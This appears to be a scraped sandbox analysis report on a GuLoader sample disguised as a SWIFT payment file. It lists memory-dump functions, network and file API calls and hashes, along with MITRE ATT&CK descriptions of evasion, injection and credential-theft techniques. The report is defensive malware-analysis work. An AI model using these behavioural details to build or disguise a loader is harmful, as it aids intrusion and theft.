Instruction ID: b5fff106ad0a21e9eb7cea6cb8617950d49f1f8aa5d072bd8a90445385b07e84
Opcode Fuzzy Hash: be2f1cef59c01cc5d483f840cf681b0b732a1e8b0ef3bb814e6ee6c6c3c06d12
Instruction Fuzzy Hash: 1B1153235A861079F6088E924F437047BA9FB03E30F71021ECA136B1E7EAB676445D49

Uniqueness

Uniqueness Score: -1.00%

Function 0323403B, Relevance: 1.6, APIs: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0323492E,00000000,00000000,00000000,00000000,03234B55,03234EAB), ref: 03234045

Part of subcall function 0323406D: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,?,03234925,?), ref: 032340FA

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: d38eafc06d091e986802058fab2092cb0b079e78eb33aa2a7cf05192b5368f07
Instruction ID: 99d9c62ef6ff116de70d582106e6892e994568e5c3ffb8f3c488508616125e24
Opcode Fuzzy Hash: d38eafc06d091e986802058fab2092cb0b079e78eb33aa2a7cf05192b5368f07
Instruction Fuzzy Hash: FD21793246D39269DB25DF724B173427FB8FF03A20B1500CEC9835F0A7D6A6A504DA46

Uniqueness

Uniqueness Score: -1.00%

Function 0323674B, Relevance: 1.6, APIs: 1, Instructions: 67libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,0323759D,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 032367E8

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b91699832b8e3b905d9ad58bb9d3a648226d4bb9a7b816d7226b03ed57a2d824
Instruction ID: f8230f15d535f47bf72da0d15362d97c9db907d504b8c05b4ec370bbd3efcb65
Opcode Fuzzy Hash: b91699832b8e3b905d9ad58bb9d3a648226d4bb9a7b816d7226b03ed57a2d824
Instruction Fuzzy Hash: 730129574A870439FB18AF928B433087B7DEB07E30F60051AD9135B1A7D97575888E46

Uniqueness

Uniqueness Score: -1.00%

Function 032337F6, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,0323759D,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 032367E8

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c50b39cc317156ee210e5c8c3497a15ab2d1b00db7c6d09bec1300a3aeda64ab
Instruction ID: fb0ecd46d46715a3b14ec599ada7f3e38d098ec78d8b10c4b6aa529ec292d5af
Opcode Fuzzy Hash: c50b39cc317156ee210e5c8c3497a15ab2d1b00db7c6d09bec1300a3aeda64ab
Instruction Fuzzy Hash: 3301C0C496031A39DE30767098D4BFF105ECB57370FD44926F8858A494C2B444C98713

Uniqueness

Uniqueness Score: -1.00%

Function 0323570C, Relevance: 1.5, APIs: 1, Instructions: 45fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0323589C,80000000,?,00000000,?,00000000,00000000,032354F7,0323589C), ref: 032357E7

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 95a403c32cb031e7da7223844ddfa6cfc255b7d0b366faf61a7d2b421c19d82e
Instruction ID: 06ba5ac80016f7a4528e501ed8bc5e65fa9ddf59e355fc4cf3a3c6f66c568891
Opcode Fuzzy Hash: 95a403c32cb031e7da7223844ddfa6cfc255b7d0b366faf61a7d2b421c19d82e
Instruction Fuzzy Hash: B4F03C33468204B9FA1C9E924B437056AA8FB03E20F31021ECA136B197EAB679449D45

Uniqueness

Uniqueness Score: -1.00%

Function 03235795, Relevance: 1.5, APIs: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0323589C,80000000,?,00000000,?,00000000,00000000,032354F7,0323589C), ref: 032357E7

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a7ada5925f03facf261c7d62bd1a9bd96914057c8e01e660863580ba6070552d
Instruction ID: 85f6d7dac3bc2f9f5fd1656cb5613cb6c72cc88f01dff6379c2ea19ae769ccfc
Opcode Fuzzy Hash: a7ada5925f03facf261c7d62bd1a9bd96914057c8e01e660863580ba6070552d
Instruction Fuzzy Hash: 4DF04F234A820479FA0C9E924B437053AB9EB03E20B71021ECA136F197EA767A049D48

Uniqueness

Uniqueness Score: -1.00%

Function 0323672C, Relevance: 1.5, APIs: 1, Instructions: 42libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,0323759D,03232FE0,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 032367E8

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0c58762cbc831e4b16fbc8aa26ba5bd47fc172eba79c6ee6f2b768901707db48
Instruction ID: f7b3fa6b10653cd225a93bcdd06b54c7c37224dc375110444eec1e07e5c68d11
Opcode Fuzzy Hash: 0c58762cbc831e4b16fbc8aa26ba5bd47fc172eba79c6ee6f2b768901707db48
Instruction Fuzzy Hash: C8F046C4A202167AEF30BAB4E8D8BFE105ECB4B760FC84522F8818648482B884C98753

Uniqueness

Uniqueness Score: -1.00%

Function 03235753, Relevance: 1.5, APIs: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0323589C,80000000,?,00000000,?,00000000,00000000,032354F7,0323589C), ref: 032357E7

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ca9f24608e6850677437bddd4e2ac0d49944f9e406b0f963e4a36a3f6851e52
Instruction ID: c162fa9a5067d3152b9fac58787eed300bb092407fb77d104f736ea5328c39e6
Opcode Fuzzy Hash: 3ca9f24608e6850677437bddd4e2ac0d49944f9e406b0f963e4a36a3f6851e52
Instruction Fuzzy Hash: 62F030234A8614B9FA189E924F43B057EBCFB03E30F71011ECA136B197EAB679449D49

Uniqueness

Uniqueness Score: -1.00%

Function 03235675, Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0323589C,80000000,?,00000000,?,00000000,00000000,032354F7,0323589C), ref: 032357E7

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d1c5c573fa339a11bfe18fcb4fefa630d5023b6386faf237e73c24bf81bdca5e
Instruction ID: ab19173fede9306a3e0b929f5512472498a99fb183faf447e58cb760bc725f19
Opcode Fuzzy Hash: d1c5c573fa339a11bfe18fcb4fefa630d5023b6386faf237e73c24bf81bdca5e
Instruction Fuzzy Hash: 39E017B07B8700EEEA38C5108C4AFB91196A793B00F70021BBA0BAA0C0D2F169C08643

Uniqueness

Uniqueness Score: -1.00%

Function 032349C4, Relevance: 1.5, APIs: 1, Instructions: 5libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 032349D3

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4c78e6902a47c5194ab56e79f632dfe032aa814e575d941382e8af94aff42540
Instruction ID: f64029f4b794286f6b83170c81e2d82786a49953d11fd3136bce666490f59f29
Opcode Fuzzy Hash: 4c78e6902a47c5194ab56e79f632dfe032aa814e575d941382e8af94aff42540
Instruction Fuzzy Hash: 92A022F832000822C082B028080020E020803C3300FE0C020A0002FB0ECEA2CAB8B3E0

Uniqueness

Uniqueness Score: -1.00%

Function 03233BA0, Relevance: 1.3, APIs: 1, Instructions: 39sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 03233BEB

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6ef10b0a8730193af29181511d50a8267c1884684532dc56440eabee2841d524
Instruction ID: 3911dca17fc4559dab80a62ff108e74c9f6d6e483c7852a0d440575ea110d8cb
Opcode Fuzzy Hash: 6ef10b0a8730193af29181511d50a8267c1884684532dc56440eabee2841d524
Instruction Fuzzy Hash: DDF0362706860079A64C9E934B037047F7DFA03E30332064DCA235F1ABDE717A049D05

Uniqueness

Uniqueness Score: -1.00%

Function 03233B7B, Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 03233BEB

Memory Dump Source

Source File: 0000000B.00000002.497022856.0000000003232000.00000040.00000001.sdmp, Offset: 03232000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5fbb639cc6b146cab176fa2b1c86f9471f989909f07a3512bd962ba52defe173
Instruction ID: 5cc7887f772dfee2a068bffa4574b70137e29be1cdb105a77115fd0eeac9bbde
Opcode Fuzzy Hash: 5fbb639cc6b146cab176fa2b1c86f9471f989909f07a3512bd962ba52defe173
Instruction Fuzzy Hash: AFF0591A07C34078E608CE614F03705BF6DEB03E30B21018DCD235F1D3CAA26200CE42

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SWIFT Payment Advise 39 430-25.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Function 0040F8F4, Relevance: 206.1, APIs: 109, Strings: 8, Instructions: 1308
COMMON

Function 00411D66, Relevance: 63.3, APIs: 32, Strings: 4, Instructions: 338
COMMON

Function 00413286, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 127
COMMON

Function 00411B67, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 135
COMMON

Function 00412755, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
COMMON

Function 00401460, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16
COMMON